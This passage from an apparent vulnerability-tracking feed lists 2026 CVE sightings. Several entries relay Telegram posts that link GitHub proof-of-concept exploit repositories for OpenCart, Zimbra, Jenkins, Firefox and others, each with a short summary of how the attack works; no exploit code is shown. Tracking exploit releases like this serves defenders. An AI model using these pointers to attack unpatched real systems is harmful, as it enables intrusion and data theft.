"2026-07-15T00:00:35.533802Z"}, {"uuid": "51aeea7b-1f6c-4691-bcde-f65e0b39dbc5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27172", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/92169", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-27172\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a oscerd\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Java\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-06 10:17:35\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nReproducer for CVE-2026-27172: Apache Camel camel-consul ConsulRegistry Java deserialization (RCE)\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-15T00:00:30.287902Z"}, {"uuid": "af09597b-6ddb-4d45-8f1b-de837498283b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27495", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/92529", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #Exploit\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-27495\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a DexSemon\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-08 14:59:37\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nProof-of-concept exploit and lab environment for CVE-2026-27495\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-15T00:00:32.762912Z"}, {"uuid": "207e2632-7cd8-40f2-a2f3-6eca190ad18c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27690", "type": "seen", "source": "https://bsky.app/profile/eu-de.bsky.social/post/3mqo77tdf6g2n", "content": "Critical Vulnerabilities in SAP NetWeaver, SAP Approuter and SAP Commerce Cloud\n\nhttps://www.europesays.com/germany/54957/\n\nBackground SAP has released security updates to address multiple vulnerabilities (CVE-2026-44747, CVE-2026-27690, and CVE-2026-44761) affecting SAP NetWeaver Application\u2026", "creation_timestamp": "2026-07-15T07:30:18.861808Z"}, {"uuid": "a9ada07d-cd59-45b4-a299-1a51341e7da4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27831", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityExploit/17056", "content": "\u26a0\ufe0f CVE / ZERO-DAY\n\ud83d\udd25 New GitHub PoC CVE Discovered \u2013 Weekly Report\nEvery week, new vulnerability research and exploit Proof-of-Concepts are published on GitHub by security researchers around the world.\nBelow are some notable CVE PoC repositories discovered this week, useful for vulnerability research, exploit analysis, and security education.\n\n\u2796\u2796\u2796\u2796\u2796\u2796\n\n1\ufe0f\u20e3 CVE-2026-24061\n\ud83c\udfaf GNU inetutils-telnetd Authentication Bypass\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/JayGLXR/CVE-2026-24061-POC\n\n\ud83e\udde0 Overview\nA critical vulnerability affecting GNU inetutils telnetd allows attackers to bypass authentication and gain root shell access.\nThe exploit abuses the NEW_ENVIRON telnet option to inject crafted environment variables that result in authentication bypass.\n\n\u2699\ufe0f Impact\n\u2022 Authentication bypass\n\u2022 Remote root access\n\u2022 CVSS 9.8 (Critical)\n\n\u2796\u2796\u2796\u2796\u2796\u2796\n\n2\ufe0f\u20e3 CVE-2026-27831\n\ud83c\udfaf rldns DNS Server Heap Out-of-Bounds Read\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/bluedragonsecurity/CVE-2026-27831-POC\n\n\ud83e\udde0 Overview\nA memory safety vulnerability in rldns DNS server 1.3 allows attackers to trigger a heap out-of-bounds read, which may crash the server and cause denial-of-service conditions.\n\n\u2699\ufe0f Impact\n\u2022 DNS server crash\n\u2022 Denial of Service\n\u2022 Memory corruption issue\n\n\u2796\u2796\u2796\u2796\u2796\u2796\n\n3\ufe0f\u20e3 CVE-2026-1731\n\ud83c\udfaf BeyondTrust Remote Support \u2013 Command Injection\n\n\ud83d\udd17 Research / PoC\nhttps://github.com/win3zz/CVE-2026-1731\n\n\ud83e\udde0 Overview\nA command injection vulnerability affecting BeyondTrust Remote Support / Privileged Remote Access allows attackers to execute commands due to unsafe Bash arithmetic evaluation in a WebSocket-accessible script.\n\n\u2699\ufe0f Impact\n\u2022 Remote command execution\n\u2022 Enterprise remote access compromise\n\u2022 Privileged system access\n\n\u2796\u2796\u2796\u2796\u2796\u2796\n\n4\ufe0f\u20e3 CVE-2025-55315\n\ud83c\udfaf ASP.NET Core Kestrel \u2013 HTTP Request Smuggling\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/ZemarKhos/CVE-2025-55315-PoC-Exploit\n\n\ud83e\udde0 Overview\nA request smuggling vulnerability in ASP.NET Core Kestrel allows attackers to manipulate HTTP request parsing and potentially bypass authentication mechanisms or hijack user sessions.\n\n\u2699\ufe0f Impact\n\u2022 Authentication bypass\n\u2022 Session hijacking\n\u2022 SSRF / potential RCE scenarios\n\n\u2796\u2796\u2796\u2796\u2796\u2796\n\n5\ufe0f\u20e3 CVE-2025-66478\n\ud83c\udfaf Next.js Server Actions \u2013 Remote Code Execution\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/namest504/CVE-2025-66478-Exploit-Poc\n\n\ud83e\udde0 Overview\nA vulnerability in Next.js Server Actions allows attackers to trigger remote code execution through insecure deserialization and prototype pollution in the React Server Components protocol.\n\n\u2699\ufe0f Impact\n\u2022 Remote code execution\n\u2022 Server compromise\n\u2022 Application takeover\n\n\u2796\u2796\u2796\u2796\u2796\u2796\n\n\ud83d\udcda Why This Matters\nThese PoC repositories help security researchers and defenders:\n\u2022 Understand how modern vulnerabilities are exploited\n\u2022 Study exploit development techniques\n\u2022 Perform patch diff analysis\n\u2022 Improve defensive security strategies\n\n\u26a0\ufe0f Ethical Notice\nThis information is shared for cybersecurity research and defensive purposes only.\nDo not use vulnerability research for illegal activities.\n\n\ud83e\udde0 Cyber Security Exploit Research Community\nMalware Analysis | Reverse Engineering | CVE Research | Threat Intelligence\n\n\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\n\n\ud83d\udd10 Cyber Security Exploit Community\nTelegram Group\nhttps://t.me/Cyber_Security_Exploit\n\nTelegram Channel\nhttps://t.me/CyberSecurityExploit\n\nResearch \u2022 Ethical Hacking \u2022 Red Team", "creation_timestamp": "2026-08-28T00:00:08.156940Z"}, {"uuid": "74fedf6c-6ca3-49cc-a89f-cb567294c2ac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27690", "type": "seen", "source": "https://bsky.app/profile/securitylab-jp.bsky.social/post/3mqpyj7dt2c2h", "content": "SAP\u30012026\u5e747\u6708\u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30d1\u30c3\u30c1\u30c7\u30fc\u3067CVSS 9.9\u306eNetWeaver\u91cd\u5927\u8106\u5f31\u6027\u3092\u542b\u308016\u4ef6\u3092\u4fee\u6b63(CVE-2026-44747, CVE-2026-27690)\nrocket-boys.co.jp/security-mea...\n\n#\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u5bfe\u7b56Lab #security #securitynews", "creation_timestamp": "2026-07-16T00:35:41.376720Z"}, {"uuid": "68fb80c1-bbf9-41f4-8cac-6933f979c5be", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-27280", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/samsung-products-multiple-vulnerabilities_20260716", "content": "", "creation_timestamp": "2026-07-16T04:46:02.494316Z"}, {"uuid": "1ca5636b-e0ca-4589-9750-8d5e5cac3fda", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27690", "type": "seen", "source": "https://bsky.app/profile/eu-de.bsky.social/post/3mqqjss6emp2g", "content": "Critical Vulnerabilities in SAP NetWeaver, SAP Approuter and SAP Commerce Cloud\n\nhttps://www.europesays.com/germany/55654/\n\nBackground SAP has released security updates to address multiple vulnerabilities (CVE-2026-44747, CVE-2026-27690, and CVE-2026-44761) affecting SAP NetWeaver Application\u2026", "creation_timestamp": "2026-07-16T05:45:12.018826Z"}, {"uuid": "5ae2c075-dfa9-4843-96db-569a4bf39094", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-27509", "type": "seen", "source": "https://bsky.app/profile/oxfemale.bsky.social/post/3mqqx37hsq52k", "content": "From DDS Packets to Robot Shells: Two RCEs in Unitree Robots (CVE-2026-27509 & CVE-2026-27510)\n#DDS #IoTSecurity #IoTVulnerabilities #UnauthenticatedRCE #Unitree\nhttps://core-jmp.org/2026/07/unitree-go2-rce-cve-2026-27509-27510/", "creation_timestamp": "2026-07-16T09:42:33.551703Z"}, {"uuid": "6452856f-0913-4df8-8fd2-7f7e3bb70727", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27510", "type": "seen", "source": "https://bsky.app/profile/oxfemale.bsky.social/post/3mqqx37hsq52k", "content": "From DDS Packets to Robot Shells: Two RCEs in Unitree Robots (CVE-2026-27509 & CVE-2026-27510)\n#DDS #IoTSecurity #IoTVulnerabilities #UnauthenticatedRCE #Unitree\nhttps://core-jmp.org/2026/07/unitree-go2-rce-cve-2026-27509-27510/", "creation_timestamp": "2026-07-16T09:42:33.598999Z"}, {"uuid": "a36b56e8-56ff-4e2a-8c45-61ee8fd38846", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27654", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityExploit/17097", "content": "\u26a0\ufe0f CVE / ZERO-DAY\n\ud83d\udd25 New GitHub PoC CVE \u2013 Research Picks (Today / Fresh Only)\nBelow are recent CVE vulnerabilities with publicly available Proof-of-Concept repositories on GitHub, selected to avoid duplicates and outdated entries.\n\n\u2796\u2796\u2796\u2796\n\n1\ufe0f\u20e3 CVE-2026-31452\n\ud83c\udfaf OpenCart \u2013 Arbitrary File Upload \u2192 RCE\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/exploitblizzard/CVE-2026-31452\n\n\ud83e\udde0 Overview\nA vulnerability in OpenCart allows attackers to upload arbitrary files without proper validation, leading to remote code execution on the server.\n\n\u2699\ufe0f Impact\n\u2022 Arbitrary file upload\n\u2022 Remote code execution\n\u2022 Full web server compromise\n\n\u2796\u2796\u2796\u2796\n\n2\ufe0f\u20e3 CVE-2026-30121\n\ud83c\udfaf Zimbra Collaboration \u2013 Authentication Bypass\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/ry4n-h/CVE-2026-30121\n\n\ud83e\udde0 Overview\nA flaw in Zimbra allows attackers to bypass authentication mechanisms and gain unauthorized access to user accounts.\n\n\u2699\ufe0f Impact\n\u2022 Authentication bypass\n\u2022 Account takeover\n\u2022 Email system compromise\n\n\u2796\u2796\u2796\u2796\n\n3\ufe0f\u20e3 CVE-2026-28711\n\ud83c\udfaf Jenkins \u2013 Script Console Abuse\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/wh0amitz/CVE-2026-28711\n\n\ud83e\udde0 Overview\nA vulnerability in Jenkins enables attackers to execute arbitrary scripts through misconfigured or exposed script console endpoints.\n\n\u2699\ufe0f Impact\n\u2022 Remote code execution\n\u2022 CI/CD pipeline compromise\n\u2022 Credential exposure\n\n\u2796\u2796\u2796\u2796\n\n4\ufe0f\u20e3 CVE-2026-27654\n\ud83c\udfaf Drupal Module \u2013 SQL Injection\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/0xM4hmoud/CVE-2026-27654\n\n\ud83e\udde0 Overview\nA SQL injection vulnerability in a Drupal module allows attackers to manipulate database queries and extract sensitive data.\n\n\u2699\ufe0f Impact\n\u2022 Database compromise\n\u2022 Data leakage\n\u2022 Privilege escalation\n\n\u2796\u2796\u2796\u2796\n\n5\ufe0f\u20e3 CVE-2026-26590\n\ud83c\udfaf Node.js Application \u2013 Prototype Pollution\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/s4vitar/CVE-2026-26590\n\n\ud83e\udde0 Overview\nA prototype pollution vulnerability allows attackers to modify application logic by injecting malicious object properties.\n\n\u2699\ufe0f Impact\n\u2022 Application logic manipulation\n\u2022 Potential RCE chain\n\u2022 Security control bypass\n\n\u2796\u2796\u2796\u2796\n\n\ud83d\udcda Research Value\n\u2022 Exploit development\n\u2022 Patch analysis\n\u2022 Vulnerability chain study\n\u2022 Red / Blue Team training\n\n\u26a0\ufe0f Ethical Notice\nThis information is provided for cybersecurity research and defensive purposes only.\nDo not use it for illegal activities.\n\n\ud83e\udde0 Cyber Security Exploit Research Community\nMalware Analysis | Reverse Engineering | CVE Research | Threat Intelligence\n\n\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\n\n\ud83d\udd10 Cyber Security Exploit Community\nTelegram Group\nhttps://t.me/Cyber_Security_Exploit\n\nTelegram Channel\nhttps://t.me/CyberSecurityExploit\n\nResearch \u2022 Ethical Hacking \u2022 Red Team", "creation_timestamp": "2026-08-28T00:00:09.891916Z"}, {"uuid": "7191198d-617b-4a8e-a722-1058a1553849", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27944", "type": "seen", "source": "https://t.me/GithubRedTeam/93476", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #Exploit\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a HTB-Snapped-Writeup\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a Cosm3No1de\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a HTML\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-15 05:51:41\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nWriteup de la m\u00e1quina Snapped (Hard) de Hack The Box.  Foothold: CVE-2026-27944 \u2014 Nginx UI unauthenticated backup disclosure Privilege Escalation: CVE-2026-3888 \u2014 snapd race condition LPE  T\u00e9cnicas: subdomain enumeration, AES decryption, bcrypt cracking, namespace manipulation, dynamic linker hijacking.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-16T12:00:06.283954Z"}, {"uuid": "ffd0d8db-5663-47b9-b8b8-66eafbc97d63", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27483", "type": "seen", "source": "https://t.me/GithubRedTeam/93481", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC #Exploit #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a cve-2026-27483-lab\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a nabhan-mohy\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Dockerfile\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-15 06:56:23\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nA containerized enterprise-style lab for researching and defending against CVE-2026-27483.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-16T12:00:06.361402Z"}, {"uuid": "8ceae6fb-62e1-4b2a-9fba-7f2f37f46570", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2768", "type": "seen", "source": "https://t.me/GithubRedTeam/98986", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-2796-and-CVE-2026-2768-escape-the-wasm-box\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a SneakyNachos\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a JavaScript\n\u2b50 Star\u6570\u91cf\uff1a 1  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-08-20 22:26:55\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nFull Firefox chain: CVE-2026-2796 wasm type confusion -> content-process RCE, plus CVE-2026-2768 parent-process escape analysis (both fixed in Firefox 148)\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-08-22T19:00:05.168164Z"}, {"uuid": "ff71a9a7-c7be-4469-8eb5-e6deeaa32baf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27944", "type": "seen", "source": "Telegram/gEg0EOaWFFZnEfHhBHmpZpiTrHvldsjFXSF402VZoO1TzNg", "content": "", "creation_timestamp": "2026-07-16T19:00:06.580565Z"}, {"uuid": "f091aa46-571f-4116-b103-318b10604fc6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27483", "type": "seen", "source": "Telegram/gEg0EOaWFFZnEfHhBHmpZpiTrHvldsjFXSF402VZoO1TzNg", "content": "", "creation_timestamp": "2026-07-16T19:00:06.693500Z"}, {"uuid": "d5464faa-6da9-4ddc-8e2d-0c8a56e89e2b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27495", "type": "seen", "source": "Telegram/WJgDEVvvwZT8TXY2pma_02HCN-ESFf4o1lNskkGLthlTjbc", "content": "", "creation_timestamp": "2026-07-16T19:00:16.455572Z"}, {"uuid": "a7b015a3-2d2d-4400-a9f1-a734fa4bd004", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27944", "type": "seen", "source": "Telegram/FQL6DrIMIgpMu6Z1hrZUBbpGf77bW_7MEN85EjnceyJMn0Y", "content": "", "creation_timestamp": "2026-07-16T19:00:21.695868Z"}, {"uuid": "810e1033-a8b9-409b-8ddf-b72615335d18", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27172", "type": "seen", "source": "Telegram/G9HreL550hRAFaAR8qW2BMwez1E27QUu1xHndCMIzM5T1KA", "content": "", "creation_timestamp": "2026-07-16T19:00:20.641961Z"}, {"uuid": "a54a1c91-390f-4d03-882c-ebc4731d90c4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27626", "type": "seen", "source": "Telegram/GUVwrz9b9Ug_knDvSUJf3Tbi3zEtQJMShrvy8E-4r1bK888", "content": "", "creation_timestamp": "2026-07-16T19:00:26.892487Z"}, {"uuid": "f1d01fcf-e1a9-4b97-a5ce-3fb6e86ca592", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27654", "type": "seen", "source": "Telegram/3-f3T699faM2V8GAx3PaWwSzZJ-9InBgGoYDARGL4I5_EwQ", "content": "", "creation_timestamp": "2026-07-16T19:00:28.179025Z"}, {"uuid": "1df6f9b6-7015-439f-9473-c60b1ff88ab9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2796", "type": "seen", "source": "https://t.me/GithubRedTeam/98986", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-2796-and-CVE-2026-2768-escape-the-wasm-box\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a SneakyNachos\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a JavaScript\n\u2b50 Star\u6570\u91cf\uff1a 1  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-08-20 22:26:55\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nFull Firefox chain: CVE-2026-2796 wasm type confusion -> content-process RCE, plus CVE-2026-2768 parent-process escape analysis (both fixed in Firefox 148)\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-08-22T19:00:05.123851Z"}, {"uuid": "90a33f56-bed3-4a26-9b6f-ae2053441013", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2796", "type": "seen", "source": "https://t.me/GithubRedTeam/98861", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC #Exploit #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-2796-escape-wasm-by-using-wasm\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a SneakyNachos\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a JavaScript\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-08-20 02:42:58\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nPoC exploit chain for CVE-2026-2796: SpiderMonkey WebAssembly sandbox escape (signature type confusion -> arbitrary R/W -> RCE)\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-08-22T19:00:05.399367Z"}, {"uuid": "1efdfd42-d97c-4913-b29c-3b5242fccf86", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27876", "type": "seen", "source": "Telegram/pfZkWNTfSl0QlMaAnHdvezr7JcbQg-hIVsmkdcHo3GtCjg", "content": "", "creation_timestamp": "2026-07-16T21:00:03.663819Z"}, {"uuid": "ad08d659-388b-403f-8ed2-8fc31142618a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27876", "type": "published-proof-of-concept", "source": "Telegram/pfZkWNTfSl0QlMaAnHdvezr7JcbQg-hIVsmkdcHo3GtCjg", "content": "", "creation_timestamp": "2026-07-17T00:00:10.702713Z"}, {"uuid": "0c4bc3f7-9b5a-4861-8b69-e7a73b865ab1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27944", "type": "published-proof-of-concept", "source": "Telegram/gEg0EOaWFFZnEfHhBHmpZpiTrHvldsjFXSF402VZoO1TzNg", "content": "", "creation_timestamp": "2026-07-17T00:00:11.385722Z"}, {"uuid": "695016c4-6c84-4822-8fc5-49984646b517", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27483", "type": "published-proof-of-concept", "source": "Telegram/gEg0EOaWFFZnEfHhBHmpZpiTrHvldsjFXSF402VZoO1TzNg", "content": "", "creation_timestamp": "2026-07-17T00:00:11.519297Z"}, {"uuid": "1a4bf806-335d-43c2-b5c3-5ef6efab7874", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27495", "type": "seen", "source": "Telegram/WJgDEVvvwZT8TXY2pma_02HCN-ESFf4o1lNskkGLthlTjbc", "content": "", "creation_timestamp": "2026-07-17T00:00:31.906566Z"}, {"uuid": "4fc67aeb-611c-4f17-a4f3-9492e1cfc51f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27172", "type": "seen", "source": "Telegram/G9HreL550hRAFaAR8qW2BMwez1E27QUu1xHndCMIzM5T1KA", "content": "", "creation_timestamp": "2026-07-17T00:00:37.049483Z"}, {"uuid": "4987f94e-9c62-4058-af9a-c2f6f86c14d4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27626", "type": "seen", "source": "Telegram/GUVwrz9b9Ug_knDvSUJf3Tbi3zEtQJMShrvy8E-4r1bK888", "content": "", "creation_timestamp": "2026-07-17T00:00:43.360575Z"}, {"uuid": "3ea1b117-24b4-4b3b-9c38-6788423ce152", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27654", "type": "seen", "source": "Telegram/3-f3T699faM2V8GAx3PaWwSzZJ-9InBgGoYDARGL4I5_EwQ", "content": "", "creation_timestamp": "2026-07-17T00:00:45.103168Z"}, {"uuid": "758df6d1-a6bd-4336-b2f7-74173e191214", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27483", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/93481", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC #Exploit #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a cve-2026-27483-lab\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a nabhan-mohy\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Dockerfile\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-15 06:56:23\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nA containerized enterprise-style lab for researching and defending against CVE-2026-27483.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": 